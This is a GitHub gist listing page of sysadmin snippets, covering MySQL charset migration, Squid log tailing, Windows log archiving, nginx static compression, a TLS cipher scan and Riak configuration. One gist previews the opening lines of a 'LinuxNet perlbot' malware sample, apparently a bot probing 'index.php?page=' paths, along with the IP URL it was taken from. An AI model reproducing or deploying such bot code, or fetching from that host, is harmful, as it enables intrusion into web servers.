Skip to content

Instantly share code, notes, and snippets.

View demofly's full-sized avatar

Stanislav O. demofly

View GitHub Profile
@demofly
demofly / Manual
Last active May 31, 2016 10:36
How to migrate an existing MySQL 5.5 DB from latin1 to UTF-8.
Convert old latin1 DB to a new UTF8 one:
DBS="db1 db2"
for dbname in $DBS
do
mysqldump "${dbname}" > "${dbname}"latin1.sql
cat "${dbname}"latin1.sql | sed "s#CHARSET=latin1#CHARSET=utf8#" | iconv -f iso8859-1 -t utf8 > "${dbname}"utf8.sql
done
====
Change in /etc/mysql/my.cnf:
@demofly
demofly / 152.sh
Created July 14, 2014 03:19
152-ФЗ формат таблицы с описью OpenVZ виртуалок
seqid=0
for i in `vzlist -o ctid -H`
do
((sequid++))
vzctl exec $i "echo \"$sequid \`hostname -f\` \`lsb_release -a 2>/dev/null | grep Description | sed -r 's#.*:[ \t]+##g'\` \`cat /proc/cpuinfo | grep 'physical id' | uniq | wc -l\` CPU; \`free -h | grep Mem | awk '{print \$2}'\` RAM; \`df -hT | grep '/\$' | awk '{print \$3}'\` HDD \`ip -o -4 a s | grep brd | sed -r 's#.* ([0-9\.]{7,})/.*#\1#' | tr -s '\n' ' '\` \`netstat -tlpn | grep '^tcp\|^udp' | cut -d/ -f2 | sort -u | tr -s '\n' ' ' | sed 's#zabbix_agentd ##; s#exim4 ##; s#postgres#PostgreSQL#; s#config.ru ##; s#master#Postfix#; s#apache#Apache#; s#mysqld#MySQL#'\`\""
done
@demofly
demofly / squid-tail.sh
Created July 22, 2014 14:33
Convert Squid log timestamps on the fly
tail /var/log/squid/access.log -f -n999 | perl -p -e 's/^([0-9\.]*)/"[".localtime($1)."]"/e'
@demofly
demofly / squid-tail.sh
Created August 28, 2014 12:42
Squid colored with readable date time tail
#!/bin/bash
color=`echo -e '\e[1;33m'`
rst=`echo -e '\e[0m'`
tail /var/log/squid/access.log -f -n999 | perl -p -e 's/^([0-9\.]*)/"[".localtime($1)."]"/e' | sed -e "s#.*_HIT/.*#${color}&${rst}#"
@demofly
demofly / Archive_Logs.ps1
Created October 21, 2014 11:48
Windows 2008 R2 event logs backup script for the task scheduler
$adir = "L:\ARCHIVE"
$subdir = get-date -uformat "%Y.%m.%d"
New-Item -ItemType directory -Path $adir\$subdir | out-null
$elogs = (wevtutil el)
foreach ($i in $elogs)
{
$in = $i -replace " ","_"
@demofly
demofly / compress-statics.sh
Created November 13, 2014 23:04
Cron job to decrease CPU usage in nginx with gzip_static enabled.
#!/bin/bash
for ext in css js
do
find /var/www -type f -name "*.${ext}" | while read f
do
gzip -c9 "$f" > "$f.gz.new"
diff "$f.gz.new" "$f.gz" 2>/dev/null && rm -f "$f.gz.new" || mv -vf "$f.gz.new" "$f.gz"
done
done
@demofly
demofly / scan-available-ciphers.sh
Created November 18, 2014 22:41
A script which allows to get a list of supported ciphers on a given server
#!/usr/bin/env bash
# OpenSSL requires the port number.
SERVER=1.1.1.1:443
DELAY=1
ciphers=$(openssl ciphers 'ALL:eNULL' | sed -e 's/:/ /g')
# ========= main =============
echo Obtaining cipher list from $(openssl version).
@demofly
demofly / ig.exe
Created November 25, 2014 22:16
LinuxNet perlbot, extracted from http://88.150.140.66/ig.exe
#!/usr/bin/perl
# ------------------------------------------------------------- #
# LinuxNet perlbot #
# ------------------------------------------------------------- #
my $processo = '-';
my @titi = ("index.php?page=","main.php?page=");
@demofly
demofly / app.config
Created December 2, 2014 18:00
Riak memcache backend configuration
%% Riak KV config
{riak_kv, [
%% Storage_backend specifies the Erlang module defining the storage
%% mechanism that will be used on this node.
%% {storage_backend, riak_kv_bitcask_backend},
{storage_backend, riak_kv_multi_backend},
{multi_backend_default, <<"eleveldb_mult">>},
{multi_backend, [
{<<"eleveldb_mult">>, riak_kv_eleveldb_backend, [
@demofly
demofly / memcache-buckets.sh
Created December 2, 2014 18:02
Riak memcache init.d commands
sleep 1s
curl -XPUT http://127.0.0.1:8098/buckets/memcache_15min/props \
-H "Content-Type: application/json" \
-d '{"props":{"backend":"memcache_15min"}}'
curl -XPUT http://127.0.0.1:8098/buckets/memcache_30min/props \
-H "Content-Type: application/json" \
-d '{"props":{"backend":"memcache_30min"}}'